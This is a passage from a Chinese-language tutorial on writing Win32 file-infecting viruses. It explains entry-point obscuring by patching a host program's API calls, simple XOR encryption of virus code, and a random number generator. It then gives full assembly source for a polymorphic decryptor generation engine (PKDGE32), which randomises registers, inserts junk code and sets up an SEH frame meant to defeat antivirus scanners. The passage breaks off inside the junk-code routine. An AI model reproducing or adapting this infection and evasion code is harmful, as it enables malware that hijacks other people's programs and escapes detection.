那我們就必須使用別的方法使宿主中的病毒代碼得到運行。最簡單也是最常用的方法是修改
宿主程序的某個API調用。
首先,我們要了解一些不同的編譯器對API調用的處理。我分別對tasm,fasm,masm,vc++等編
譯器編譯的程序進行了反彙編,發現:
對於tasm和masm編譯器,API以如下方式調用:
E8xxxxxxxx call xxxxxxxx (相對地址)
.
.
.
FF25xxxxxxxx jmp dword ptr [xxxxxxxx]
首先, 程序通過一個call,跳到跳轉表(前面講過)中相應的位置,在這個位置上是一個
jmp。jmp到API函數的真正入口(存放在地址xxxxxxxx處)。
對於fasm和vc++編譯器,API是直接調用的:
FF15xxxxxxxx call dword ptr [xxxxxxxx]
這時,地址xxxxxxxx處(位於引入節中)存放的就是API的地址。
現在的問題是,我們怎麼知道這個jmp或者call的是不是一個有效調用(FF15xxxx也許只是
一些數據而非代碼),這也是爲什麼我們要patch API調用而不是任意call。下面我給出一
個GriYo/29A的提出的判斷方法,我認爲這個是比較有效的方法。
從教程開始的PE分析中我們知道,一個程序在引入表引入的API(非動態加載)都對應一個
IMAGE_THUNK_DATA結構,通過這個結構我們就可以找到這個API的名字,通過這個名字以及
一個DLL句柄(可以使用kernel32.dll的句柄) 調用GetProcAddress, 如果函數返回這個
API的地址則說明這是一個有效API,那麼我們就可以通過patch剛纔找到的E8xxxxxxxx指令
或者FF15xxxxxxxx指令實現EPO。
在實現前我們還需要解決一個問題: 我們如何根據存放API地址的VA(虛擬地址)得到API
的名字以調用GetProcAddress來驗證這個API的有效性呢?
我們知道, IMAGE_THUNK_DATA中的FirstThunk字段在PE文件加載前後(也就是說在磁盤上
和在內存中)具有不同含義(什麼? 你沒聽說過?那還是回到前面再複習一下引入表結構
吧 :P)。 在磁盤中,它存放的是IMAGE_IMPORT_BY_NAME結構的RVA,而當PE被加載到內存
中時,FirstThunk字段便會被替換成API的真正入口地址。
說到這裏一定有人會說, 可以用OrigianlFirstThunk來找到IMAGE_IMPORT_BY_NAME!其實
這個字段就是用來做這個的!但是,這並不是必須的!看看我們前面的代碼:
dd 0 ; 我們並不需要OriginalFirstThunk
dd 0 ; 我們也不需要管這個時間戳
dd 0 ; 我們也不關心這個鏈
dd RVA usr_dll ; 指向我們的DLL名稱的RVA
dd RVA usr_thunk ; 指向我們的IMAGE_IMPORT_BY_NAME數組的RVA
; 注意這個數組也是以0結尾的
dd 0,0,0,0,0 ; 結束標誌
我們只是把OriginalFirstThunk置0了...
所以,爲了程序的通用性,我們不能使用這個字段來找API的名字...
我們可以這樣做:首先,我們通過FirstThunk字段的RVA計算出它在文件中的偏移,然後從
文件中的這個位置得到相應IMAGE_IMPORT_BY_NAME的RVA。
怎麼通過RVA得到文件中的偏移呢?有時候最笨的方法卻是最有效的。我們可以這樣:
首先遍歷節表, 根據節表中的VirtualAddress和VirtualSize字段判斷RVA落在哪個節中。
找到RVA落在哪個節後, 用這個RVA減去這個節的VirtualAddress(這也是一個RVA)得到
一個節內偏移,最後把這個偏移加上這個節的PointerToRawData就得到了這個RVA在文件中
的偏移(RAW)。
我們可以考慮如下實現:
;
; __rva2raw procedure
; ===================
;
;
; Description
; -----------
;
; This procedure is used for converting RVA to RAW in a certain file. The func-
; tion follows the following stepz:
;
; 1) Visit each IMAGE_SECTION_HEADER of the PE file. Get each VirtualAddress
; and calculate the end RVA of each section by adding VirtualAddress and
; VirtualSize. Then test if the RVA is in the section.
; 2) If the RVA is in the section. Get the offset by subtracting the RVA
; from the start RVA of the section.
; 3) Get the RAW in the PE file by adding the offset and PointerToRawData.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- RVA to convert
; esi --- pointz to the first IMAGE_SECTION_HEADER
; ecx --- number of section header
;
; Output:
; eax --- RAW (offset in the file)
;
__rva2raw: pushad
r2r_sec_loop: mov ebx,[esi+12] ; get VirtualAddress
mov edx,ebx ; save it
cmp eax,ebx
jl r2r_next
add ebx,[esi+8] ; add VirtualSize
cmp eax,ebx
jg r2r_next
sub eax,edx ; get offset
add eax,[esi+20] ; calculate RAW
mov [esp+28],eax ; return
jmp r2r_ret ; ...
r2r_next: add esi,28h ; next section header
loop r2r_sec_loop
xor eax,eax ; not found
mov [esp+28],eax ; return 0
r2r_ret: popad
ret
下面我們就可以得到我們要patch的指令了,下面是一個具體實現:
;
; __epo procedure
; ===============
;
;
; Description
; -----------
;
; This procedure scanz these opcodez:
;
; E8 xx xx xx xx: call xxxxxxxx ; relative address
; ...
; FF 25 xx xx xx xx: jmp dword ptr [xxxxxxxx]
;
; or:
;
; FF 15 xx xx xx xx: call dword ptr [xxxxxxxx] ; API call
;
; Then, convert the RVA of FirstThunk, which containz the real API address, to
; RAW offset of the PE file and get the API name in the IMAGE_THUNK_DATA. Then,
; get the API address by GetProcAddress, if the function succeeded, it means we
; have got the API to patch.
;
;
; Parameterz and Return Valuez
; ----------------------------
;
; Input:
; eax --- image base
; ecx --- length of the section
; edx --- number of section header
; ebx --- pointz to the file buffer
; ebp --- library handle
; esi --- pointz to the code section to patch
; edi --- pointz to the first IMAGE_SECTION_HEADER
;
; Output:
; eax --- address of the instruction to patch
;
__epo: pushad
xor ebx,ebx ; result REG
lodsb ; load first byte
epo_search_l: dec ecx ; decrease counter
jz epo_ret
cmp al,0e8h ; search E8 xx xx xx xx
jz epo_e8_found
dec ecx ; decrease counter
lodsb
cmp al,0ffh ; search for 15FF
jnz epo_search_l
dec ecx ; decrease counter
lodsb
cmp al,15h ; 15FF ?
jnz epo_search_l
jmp epo_got_it
epo_e8_found: push esi ; save ESI
lodsd ; get relative address
add eax,esi ; address of 25FF
cmp word [eax],25ffh ; 25FF ?
pop esi ; restore ESI
jnz epo_search_l
xchg eax,esi ; eax --> esi
inc esi ; let ESI point to the address
inc esi ; which containz the API entry
epo_got_it: pushad
mov ebx,[esp+60] ; get image base
lodsd ; get the RVA
sub eax,ebx ; ...
xchg esi,edi ; edi --> esi
xchg ecx,edx ; edx --> ecx
call __rva2raw ; get RAW of IMAGE_THUNK_DATA
mov edx,[esp+48] ; get file buffer pointer
add eax,edx ; get RAW of ...
mov eax,[eax] ; IMAGE_IMPORT_BY_NAME
call __rva2raw ; ...
lea eax,[eax+edx+2] ; get the name of the API
push eax ; get proc address
push ebp ; ...
mov eax,12345678h ; ...
__addr_GetProcAddress = $-4 ; ...
call eax ; ...
or eax,eax
popad
jnz epo_got_api
xor ebx,ebx
jmp epo_search_l
epo_got_api: dec esi ; back to the beginning
dec esi ; of the instruction
xchg ebx,esi
jmp epo_ret
epo_ret: mov [esp+28],ebx ; save return value
popad
ret
8. 多態(Polymorphism)
----------------------
在談多態之前讓我們先來看一看簡單的代碼加密(當然,在這裏我指的不是密碼學上的加密
:P)。考慮如下代碼:
__start: mov esi,code2encrypt
mov edi,esi
mov ecx,code_len
encrypt: lodsb
xor al,2fh
stosb
loop encrypt
code2encrypt: ...
code_len = $-code2encrypt
上面的代碼把code2encrypt中的每個字節與密鑰(上面代碼中的2fh,當然它可以是任意值)
相異或,這樣得到的代碼就是經過加密的代碼了。解密時只要把加密的代碼與密鑰再次異或
即可解密。
上面的方法是一般使用的加密方法,加密的代碼只有經過動態解密過程才能被還原成可以執
行的原始代碼。在感染的時候我們可以隨機產生密鑰並把經過這個密鑰加密的代碼寫進宿主。
這樣,由於加密時的密鑰是隨機產生的,那麼通過簡單的特徵值檢測的方法就無法檢測出該
病毒。
但是這樣還有一個問題,就是我們的解密代碼每次都是相同的(僅僅是密鑰的值不同),所
以這樣的病毒依然存在特徵值!解決的方法是使我們的解密代碼在每次感染時也不相同,這
種對解密代碼進行變換的技術叫做多態(polymorphism),我們一般稱之爲poly。
一個簡單的poly引擎應該做到:
1、解密代碼可以隨機選取寄存器
2、可以隨機調換先後順序無關指令的順序
3、可以替換形式不同但功能相同的指令
4、可以在解密代碼的指令之間隨機地插入垃圾指令
上面是最基本的要求,當然還可以:
5、使用一些平臺相關技術,如SEH等
6、使用一些未公開指令
7、可以隨機插入反靜態反彙編指令
等等...
下面我們來看一下一個最簡單的poly引擎的設計過程:
首先,我們可以把上面的解密(同時也是加密)代碼一般化:
__start: mov Rx,code2encrypt
mov Ry,code_len
encrypt: xor byte [Rx],2fh
inc Rx
dec Ry
jnz encrypt
code2encrypt: ...
code_len = $-code2encrypt
對於這樣的加密代碼,首先我們可以看到,代碼中的Rx和Ry寄存器是可以隨機選取的,但不
要用ESP因爲那是堆棧指針,也最好不要用EBP,那樣在後面的代碼生成時你會看到它的可怕
:P 然後,我們還可以看到,前兩條指令的順序是無關的,我們可以調換它們的順序。其次,
我們還可以把MOV REG,IMM指令用PUSH IMM/POP REG指令對進行替換,因爲它們完成相同的
功能。還有最重要的一點,我們要在這些指令之間插入一些垃圾指令。
8.1 隨機數發生器
----------------
好了,對於一個poly引擎的設計我想我們已經有了一定的思路。讓我們從頭開始,現來設計
一個隨機函數發生器(Random Number Generator, RNG)。RNG的好壞很大程度上決定了一
個poly引擎的質量 :|
獲得隨機數的一個最簡單的辦法可以調用Win32 API GetTickCount (),或者使用Pentium指
令RDTSC,它的opcode是310fh。我們可以使用如下代碼:
__random: call [GetTickCount]
xor edx,edx
div ecx
xchg edx,eax
ret
或者使用RDTSC:
__random: db 0fh,31h
xor edx,edx
div ecx
xchg edx,eax
ret
但是這樣做的效果並不好。下面我們來看一下我的RNG的設計:
我們先來看這樣一個裝置,我們稱它爲PN(僞噪聲,Pseudo Noise)序列發生器,
(模2加法)
_____
/ /
+----------- | + | <-------------------------------+
| /_____/ |
| A |
| +------+ | +------+ +----+ |
+--> | Dn-1 | --+--> | Dn-2 | ---> ... ---> | D0 | --+--> 輸出
+------+ +------+ +----+
A A A
| | |
時鐘 ---------------+---------------+---------------------+
它由一個n位的移位寄存器和反饋邏輯組成,這裏的反饋邏輯是一個模2加法(我們下面用*
表示這個運算),即:Dn = Dn-1 * D0。一般我們稱移位寄存器通過從右至左的移動而形成
序列的狀態爲正狀態,反之成爲反狀態。所以上圖是一個反狀態PN序列發生器(不過我們並
不需要關心這個 :P)。下面通過一個更爲簡單的例子來說明PN序列發生器是如何工作的:
(模2加法)
_____
/ /
+--------- | + | <--------------------+
| /_____/ |
| A |
| +----+ | +----+ +----+ |
+--> | D2 | --+--> | D1 | ---> | D0 | --+--> 輸出
+----+ +----+ +----+
A A A
| | |
時鐘 --------------+-------------+-----------+
假設我們的移位寄存器的初始狀態爲110,那麼當下一個時鐘信號到來時移位寄存器的狀態就
變爲111,隨後是:011、101、010、001、100、110...
輸出序列爲:0111010 0...。我們稱這樣一個序列爲一個僞噪聲序列。
讀者可以通過實驗看出,當反饋邏輯不同時,就構成了不同的PN序列發生器,而這些不同的
發生器的線性移位寄存器產生的輸出序列週期也不同,我們稱週期爲(2^n)-1的PN序列發生器
爲m序列發生器。
由於一個m序列具有最大週期,所以我們可以使用它來產生我們的隨機數(其實m序列本身就是
一個僞隨機序列)。考慮如下代碼:
;
; input:
; eax --- a non-zero random number, which could be generated by RDTSC or
; GetTickCount or such functionz
; output:
; eax --- the result of the function
;
__m_seq_gen: pushad
xor esi,esi ; use to save the 32bit m-sequence
push 32 ; loop 32 times (but it's not a
pop ecx ; cycle in the m-sequence generator)
msg_next_bit: mov ebx,eax
mov ebp,ebx
xor edx,edx
inc edx
and ebp,edx ; get the lowest bit
dec cl
shl ebp,cl
or esi,ebp ; output...
inc cl
and ebx,80000001h ; /
ror bx,1 ; /
mov edx,ebx ; /
ror ebx,16 ; module 2 addition
xor bx,dx ; /
rcl ebx,17 ; /
rcr eax,1 ; /
loop msg_next_bit
mov [esp+28],esi
popad
ret
下面是我的PKRNG中的隨機函數發生器:
;
; input:
; eax --- pointz to the random seed field
; edx --- the range of the random number to be generated
; output:
; eax --- random number as result
;
__random: pushad
xchg ecx,edx
mov edi,eax
mov esi,eax
lodsd ; get the previous seed value
mov ebx,eax
mov ebp,ebx
call __m_seq_gen ; generate a m-sequence
imul ebp ; multiply with the previous seed
xchg ebx,eax
call __m_seq_gen ; generate anothe m-sequence
add eax,ebx ; to make noise...
add eax,92151fech ; and some noisez...
stosd ; write new seed value
xor edx,edx
div ecx ; calculate the random number
mov [esp+28],edx ; according to a specified range
popad
ret
下面的函數用來初始化隨機種子:
;
; input:
; edi --- points to the seed field
; output:
; nothing
;
__randomize: pushad
db 0fh,31h ; RDTSC
add eax,edx ; ...
stosd ; fill in the seed buffer
popad
ret
8.2 動態代碼生成技術
--------------------
這是一個非常簡單的問題,比如我們要生成push reg指令:
首先,push reg的opcode爲50h,這條指令的低3位用來描述reg。(爲什麼?複習一下計算
機原理吧 :P),所以push eax的opcode就爲50h,push ecx的opcode就爲51h...
對於這條指令生成,我們可以考慮如下代碼:
; suppose ecx containz the register mask (000: eax, 001: ecx...)
xxxx ; push reg16 ?
jnz push_reg_32 ; ...
mov al,66h ; assistant opcode
stosb ; for push reg16...
push_reg_32: xchg cl,al
or al,50h
stosb
首先我們判斷是否push16爲寄存器,如果是我們先要生成輔助碼66h,否則就可以直接生成
相應的機器碼。
8.3 一個完整的引擎
------------------
好了, 有了上面的這些技術和思想, 我們可以編寫我們的poly engine了。 下面是我的
PKDGE32的完整代碼:
;
; pker's Decryptor Generation Engine for Win32 (PKDGE32)
; ======================================================
;
;
; Description
; -----------
;
; I wanted to code a polymorphic engine when I first started coding this. Then
; I got the idea of generating decrypt code dynamically instead of morphing the
; original decrypt code. The generated decryptor uses random registerz, with
; junk code inserted, and it's instruction-permutable. When coding, I found
; that the name 'decrypt generation engine' is more appropriate than a poly-
; morphic engine, so I renamed it to PKDBE32.
;
; Generally, the decrypt code looks like the following:
;
; mov Rw,offset code2decrypt ; (1)
; mov Rz,decrypt_size ; (2)
; decrypt_loop: xor byte [Rw],imm8 ; (3)
; inc Rw ; (4)
; dec Rz ; (5)
; jnz decrypt_loop ; (6)
;
; As we can see, I used Rx, Ry, Rz in the code above, instead of EAX, EBX, ...
; this means the we can use random registerz in the decrypt code. The engine
; can select random registerz to generate each instruction. Meanwhile, the
; first 2 instructionz are permutable, so the engine will put the 2 instruc-
; tionz in a random order. Also, we know that some of the instructionz can be
; replaced by other instructionz that performed the same. For example, we can
; use PUSH/POP to replace MOV XXX/XXX, etc. Last but important, is, the engine
; will insert junk codez after each instructionz.
;
; One more thing, the engine setup a SEH frame before the decrypt code in order
; to fuck some AVsoftz. And of course, there're also junk codez between these
; instructionz.
;
; The SEH frame's like the following code:
;
; start: call setup_seh ; (1)
; mov esp,[esp+8] ; (2)
; jmp end_seh ; (3)
; setup_seh: xor Rx,Rx ; (4)
; push dword [fs:Rx] ; (5)
; mov [fs:Rx],esp ; (6)
; dec dword [Rx] ; (7)
; jmp start ; (8)
; end_seh: xor Ry,Ry ; (9)
; pop dword [fs:Ry] ; (10)
; pop Rz ; (11)
;
; Then comes the real decrypt code (generated by this engine).
;
;
; How to use it?
; --------------
;
; This engine can compile with FASM, TASM and MASM, etc.
;
; When using FASM we can:
;
; decryptor: times 40h db 90h
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,decryptor
; mov esi,rng_seed
; mov ebx,crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; When using TASM or MASM we should:
;
; decryptor db 40h dup (90h)
; crypt_code: ...
; crypted_size = $-crypt_code
; rng_seed dd ?
;
; gen_decrytpor: mov edi,offset decryptor
; mov esi,offset rng_seed
; mov ebx,offset crypt_code
; mov ecx,crypted_size
; mov edx,9ah
; call __pkdge32
;
; One more feature, the engine returns the address of the code2decrypt field in
; the decryptor, so we can fix this value after generating the decryptor. This
; means we can replace the code which to be decrypt anywhere after generating
; the decrypt code. We can replace our code which to be decrypted just after
; the decryptor, without padding so many NOPz between them :P
;
; We could code like this:
;
; col_code: times crypted_size+200h db 0
;
; gen_decrytpor: mov edi,col_code
; mov esi,rng_seed
; mov ecx,crypted_size
; mov ebx,12345678h
; mov edx,12345678h
; call __pkdge32
; fix_address: mov esi,edi
; xchg eax,edi
; stosd
; xchg esi,edi
; copy_code: mov esi,crypt_code
; mov ecx,crypted_size
; rep movsb
;
; Well, enjoy it!
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;
;
; __pkdge32 procedure
; ===================
;
;
; Description
; -----------
;
; This is the main procedure of the engine. It controlz the whole generation
; process, including SEH setup, instruction generation, junk code insertion,
; etc.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; ecx --- decrypt buffer size (counter in bytez)
; edx --- decrypt key
; edi --- pointz to the buffer to save decryptor
; ebx --- pointz to the buffer where saved the encrypted code
; esi --- pointz to the RNG seed buffer
;
; Output:
; edi --- the end of the decryptor
; eax --- pointz to the address of the code which will be decrypted in
; the decryptor, this means we can place the code which will be
; decrypted anywhere by fixing the value pointed by EAX
;
__pkdge32: pushad
xor ebp,ebp
xchg esi,edi ; initialize the RNG seed
call __randomize ; ...
xchg esi,edi ; ...
;
; First, we select four random registerz for later use. These four registerz
; are all different
;
xor ebx,ebx ; used to save Rw, Rz, Rx, Ry
call pkdg_sel_reg
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
call pkdg_sel_reg
shl ebx,4
or bl,al
;
; We setup a SEH frame, then we raise an exception and run the following codez.
; This action may fuck some of the AVsoftz.
;
push edi
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0e8h ; seh instruction 1
stosb ; ...
stosd ; addr 1, no matter what, fix l8r
push edi ; save addr1 to fix
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0824648bh ; seh instruction 2
stosd ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 3
stosb ; ...
stosb ; addr 2, no matter what, fix l8r
push edi ; save addr2 to fix
mov eax,[esp+4] ; fix addr1
xchg edi,eax ; ...
sub eax,edi ; ...
sub edi,4 ; ...
stosd ; ...
add edi,eax ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 4
and ah,7 ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,7 ; ...
shl ebx,11 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,0ff64h ; seh instruction 5
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,30h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8964h ; seh instruction 6
stosw ; ...
mov al,bl ; ...
and eax,7 ; ...
or al,20h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov ah,bl ; seh instruction 7
and eax,700h ; ...
or eax,08ffh ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,0ebh ; seh instruction 8
stosb ; ...
mov eax,[esp+8] ; ...
sub eax,edi ; ...
dec eax ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
pop eax ; fix addr2
xchg eax,edi ; ...
sub eax,edi ; ...
dec edi ; ...
stosb ; ...
add edi,eax ; ...
mov ah,bh ; seh instruction 9
and eax,700h ; ...
or eax,0c031h ; ...
push ebx ; ...
and ebx,700h ; ...
shl ebx,3 ; ...
or eax,ebx ; ...
pop ebx ; ...
stosw ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov eax,8f64h ; seh instruction 10
stosw ; ...
mov al,bh ; ...
and eax,7 ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
mov al,bh ; seh instruction 11
and al,7 ; ...
or al,58h ; ...
stosb ; ...
xor eax,eax ; some junk code
call __pkdge32_junk ; ...
add esp,8 ; balance the stack
;
; Now, generate the first two instructionz with junk codez between them, and
; permute the two instructionz in a random order.
;
mov ecx,2
call __random_rdtsc
or ecx,ecx
jz pkdg_gen_12
call pkdg_gen_1
call pkdg_gen_2
jmp pkdg_gen_f2f
pkdg_gen_12: call pkdg_gen_2
call pkdg_gen_1
;
; The last step, we generate the last four instructionz with junk codez in them
; these four instructionz must in the same order, but the registerz they use
; are still random
;
pkdg_gen_f2f: mov esi,[esp+4] ; restore ESI
push edi ; save loop address
push esi
mov eax,ebx ; xor byte [Rw],Imm8
shr eax,12 ; ...
and al,7 ; ...
mov esi,[esp+28] ; ...
call __pkdge32_gen_xor_reg_imm
pop esi
xor eax,eax
call __pkdge32_junk
mov eax,ebx ; inc Rw
shr eax,12 ; ...
and eax,7 ; ...
or al,40h
stosb
xor eax,eax
call __pkdge32_junk
mov eax,ebx ; dec Rz
shr eax,4 ; ...
and eax,7 ; ...
or al,48h ; ...
stosb ; ...
pop eax ; jnz decrypt_loop
sub eax,edi ; get delta
dec eax ; ...
dec eax ; ...
push eax
mov al,75h ; write opcode
stosb ; ...
pop eax
stosb ; write operand
xor eax,eax
call __pkdge32_junk
mov [esp],edi ; save new EDI
popad
ret
pkdg_gen_1: mov esi,[esp+20] ; get offset code2decrypt
mov eax,ebx ; get Rw
shr eax,12 ; ...
call pkdge32_gen12
mov [esp+32],eax ; save offset of code2decrypt
ret
pkdg_gen_2: mov esi,[esp+28] ; get decrypt_size
mov eax,ebx ; get Rz
shr eax,4 ; ...
and eax,0fh ; ...
call pkdge32_gen12
ret
;
; Using this function to generate the first two instructionz of the decryptor,
; which are permutable
;
pkdge32_gen12: push ecx
push eax ; save mask
mov ecx,2 ; determine using MOV REG/IMM
call __random_rdtsc ; or PUSH IMM/POP REG
or eax,eax
pop eax ; restore mask
pop ecx
jz pkdg_g123_0
call __pkdge32_gen_mov_reg_imm
push edi
xor eax,eax
mov esi,[esp+16]
call __pkdge32_junk
pop eax
sub eax,4
ret
pkdg_g123_0: call __pkdge32_gen_pushimm_popreg
push eax
xor eax,eax
mov esi,[esp+16]
call __pkdge32_junk
pop eax
sub eax,4
ret
;
; This procudure selectz the random register Rw, Rx, Ry, Rz. The function will
; make EBX to the following structure:
;
; 31 15 0
; +-----+-----+-----+-----+------+------+------+------+
; | 0 | 0 | 0 | 0 | Rw | Ry | Rz | Rx |
; +-----+-----+-----+-----+------+------+------+------+
;
pkdg_sel_reg: mov eax,[esp+8] ; select random register
mov edx,8 ; ...
call __random ; ...
or al,al
jz pkdg_sel_reg ; don't use EAX
cmp al,4
jz pkdg_sel_reg ; don't use ESP
cmp al,5
jz pkdg_sel_reg ; don't use EBP
or al,8 ; DWORD type
push ebx
and ebx,0fh
cmp bl,al ; R == Rx ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,4
and ebx,0fh
cmp bl,al ; R == Rz ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,8
cmp bl,al ; R == Ry ?
pop ebx
jz pkdg_sel_reg
push ebx
shr ebx,12
cmp bl,al ; R == Rw ?
pop ebx
jz pkdg_sel_reg
ret
;
; __pkdge32_test_regmask procedure
; ================================
;
;
; Description
; -----------
;
; All the register mask in the engine (PKDGE32) measure up this formula:
; bit 2~0 specifies the register mask, bit 8 and bit 3 specifies the type of
; the operand
;
; +-------+-------+--------+
; | bit 8 | bit 3 | type |
; +-------+-------+--------+
; | x | 0 | byte |
; +-------+-------+--------+
; | 0 | 1 | dword |
; +-------+-------+--------+
; | 1 | 1 | word |
; +-------+-------+--------+
;
; This function test this mask, if it specified a WORD type, the function STOSB
; an accessorial opcode 66H. If it specified a BYTE or DWORD type, function do
; nothing but return
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Nothing
;
__pkdge32_test_regmask:
test ah,1
jz pkdg_trm_ret
push eax
mov al,66h
stosb
pop eax
pkdg_trm_ret: ret
;
; __pkdge32_gen_mov_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez MOV REG,IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
; esi --- immediate number (source operand)
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_mov_reg_imm:
call __pkdge32_test_regmask
push esi
or al,0b0h ; generate opcode
stosb ; ...
xchg eax,esi ; EAX get the operand
shr esi,4
jc pkdg_gmri_dw ; word/dword ? byte ?
stosb ; byte
pop esi
ret
pkdg_gmri_dw: shr esi,5
pop esi
jc pkdg_gmri_w
stosd ; dword
ret
pkdg_gmri_w: stosw ; word
ret
;
; __pkdge32_gen_pushimm_popreg procedure
; ======================================
;
;
; Description
; -----------
;
; This function generatez PUSH IMM/POP REG group instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; edi --- pointz to the buffer to save the instructionz
; esi --- immediate number (source operand)
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_pushimm_popreg:
call __pkdge32_test_regmask
push ecx
mov ecx,esi ; save IMM in ecx
xchg esi,eax
test esi,8 ; test BYTE or WORD/DWORD
jz pkdg_gpp_b
mov al,68h ; push WORD/DWORD
stosb ; write opcode
xchg eax,ecx ; get IMM
test esi,100h ; test WORD or DWORD
jnz pkdg_gpp_w
stosd ; write operand
jmp pkdg_gpp_pop
pkdg_gpp_w: stosw
jmp pkdg_gpp_pop
pkdg_gpp_b: mov al,6ah ; push BYTE
stosb ; write opcode
mov al,cl ; get IMM
stosb ; write operand
pkdg_gpp_pop: push edi
xor eax,eax
push esi
mov esi,[esp+28]
call __pkdge32_junk
pop esi
call __pkdge32_test_regmask
xchg esi,eax
or al,58h ; generate POP opcode
stosb ; write pop REG opcode
pop eax
pop ecx
ret
;
; __pkdge32_gen_xor_reg_imm procedure
; ===================================
;
;
; Description
; -----------
;
; This function generatez XOR [REG],IMM type of instructionz.
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- register mask
; esi --- the immediate number
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Generate a instruction in the buffer EDI pointed, EDI pointz to the new
; position in the buffer
;
__pkdge32_gen_xor_reg_imm:
call __pkdge32_test_regmask
test al,1000b
jnz pkdg_gxri_dw
and eax,7 ; register mask
xchg al,ah
or eax,3080h
stosw
xchg eax,esi
stosb
ret
pkdg_gxri_dw: push eax
and eax,7 ; register mask
xchg al,ah
or eax,3081h
stosw
xchg eax,esi
pop esi
shr esi,9
jc pkdg_gxri_w
stosd ; dword
ret
pkdg_gxri_w: stosw ; word
ret
;
; __pkdge32_junk procedure
; ========================
;
;
; Decription
; ----------
;
; This is the junk code generator. It generatez length-spceified instructionz,
; dummy jumpz and anti-static-debugging opcodez.
;
; This procedure use EAX as junk register in order to generate instructionz
; like:
;
; mov eax,21343ab7h
; shr eax,8
; or:
; push eax
; rol eax,1
; pop eax
; etc.
;
; It generatez dummy jumpz such as:
;
; call @1
; junk
; jmp @3
; @2: junk
; ret
; @1: junk
; jmp @2
; @3: junk
;
; It also generatez anti-static-debugging opcodez such as:
;
; jmp @0
; db e9h
; @@:
;
;
; Parameterz and Return Value
; ---------------------------
;
; Input:
; eax --- If eax equalz to zero, the function generatez random length of
; instructionz, if eax is nonzero, the function generatez a
; certain length of instruction.
; esi --- pointz to the RNG seed buffer
; edi --- pointz to the buffer to save the instructionz
;
; Output:
; Nothing but junk codez in the buffer that EDI specified
;
__pkdge32_junk: pushad
xor ebx,ebx
xchg esi,ebp ; let EBP hold the seed ptr.
or eax,eax ; EAX containz number from 0~7
jnz pkdg_js ; 0~5: gen. 0~5 bytez of junk codez
mov edx,7 ; 6: generate dummy jumpz
mov eax,ebp
call __random ; ...
pkdg_js: or eax,eax ; 0: nothing to do
jz pkdg_j_ret ; just go back
xchg ecx,eax ; let ECX hold that number
cmp ecx,6
jz pkdg_j_dj
;
; Generate certain length simpile instructionz
;
pkdg_j_gclsi: mov edx,ecx
mov eax,ebp
call __random
or eax,eax
jz pkdg_j_g1b
dec eax
jz pkdg_j_g2b
dec eax
jz pkdg_j_g3b
dec eax
dec eax
jz pkdg_j_g5b
jmp pkdg_j_gclsi
;
; Generate 5-byte instruction
;
pkdg_j_g5b: call pkdg_j_5
db 0b8h ; mov eax,imm32
db 05h ; add eax,imm32
db 15h ; adc eax,imm32
db 2dh ; sub eax,imm32
db 1dh ; sbb eax,imm32
db 3dh ; cmp eax,imm32
db 0a9h ; test eax,imm32
db 0dh ; or eax,imm32
db 25h ; and eax,imm32
db 35h ; xor eax,imm32
pkdg_j_5: pop esi
mov eax,ebp
mov edx,10
call __random
add esi,eax
movsb
mov eax,ebp
mov edx,0fffffffch
call __random
inc eax
inc eax
stosd
sub ecx,5 ; decrease counter
jz pkdg_j_rptr
jmp pkdg_j_gclsi
;
; Generate 3-byte instruction
;
pkdg_j_g3b: call pkdg_j_3
db 0c1h,0e0h ; shl eax,imm8
db 0c1h,0e8h ; shr eax,imm8
db 0c1h,0c0h ; rol eax,imm8
db 0c1h,0c8h ; ror eax,imm8
db 0c1h,0d0h ; rcl eax,imm8
db 0c1h,0d8h ; rcr eax,imm8
db 0c0h,0e0h ; shl al,imm8
db 0c0h,0e8h ; shr al,imm8
db 0c0h,0c0h ; rol al,imm8
db 0c0h,0c8h ; ror al,imm8
db 0c0h,0d0h ; rcl al,imm8
db 0c0h,0d8h ; rcr al,imm8
db 0ebh,01h ; anti-static-debugging instr.
pkdg_j_3: pop esi
mov eax,ebp
mov edx,13
call __random
shl eax,1 ; EAX *= 2
add esi,eax
movsw
cmp eax,24
jge pkdg_j3_anti
mov eax,ebp
mov edx,14
call __random
inc eax
inc eax
pkdg_j_3f: stosb
sub ecx,3 ; decrease counter
jz pkdg_j_rptr
jmp pkdg_j_gclsi
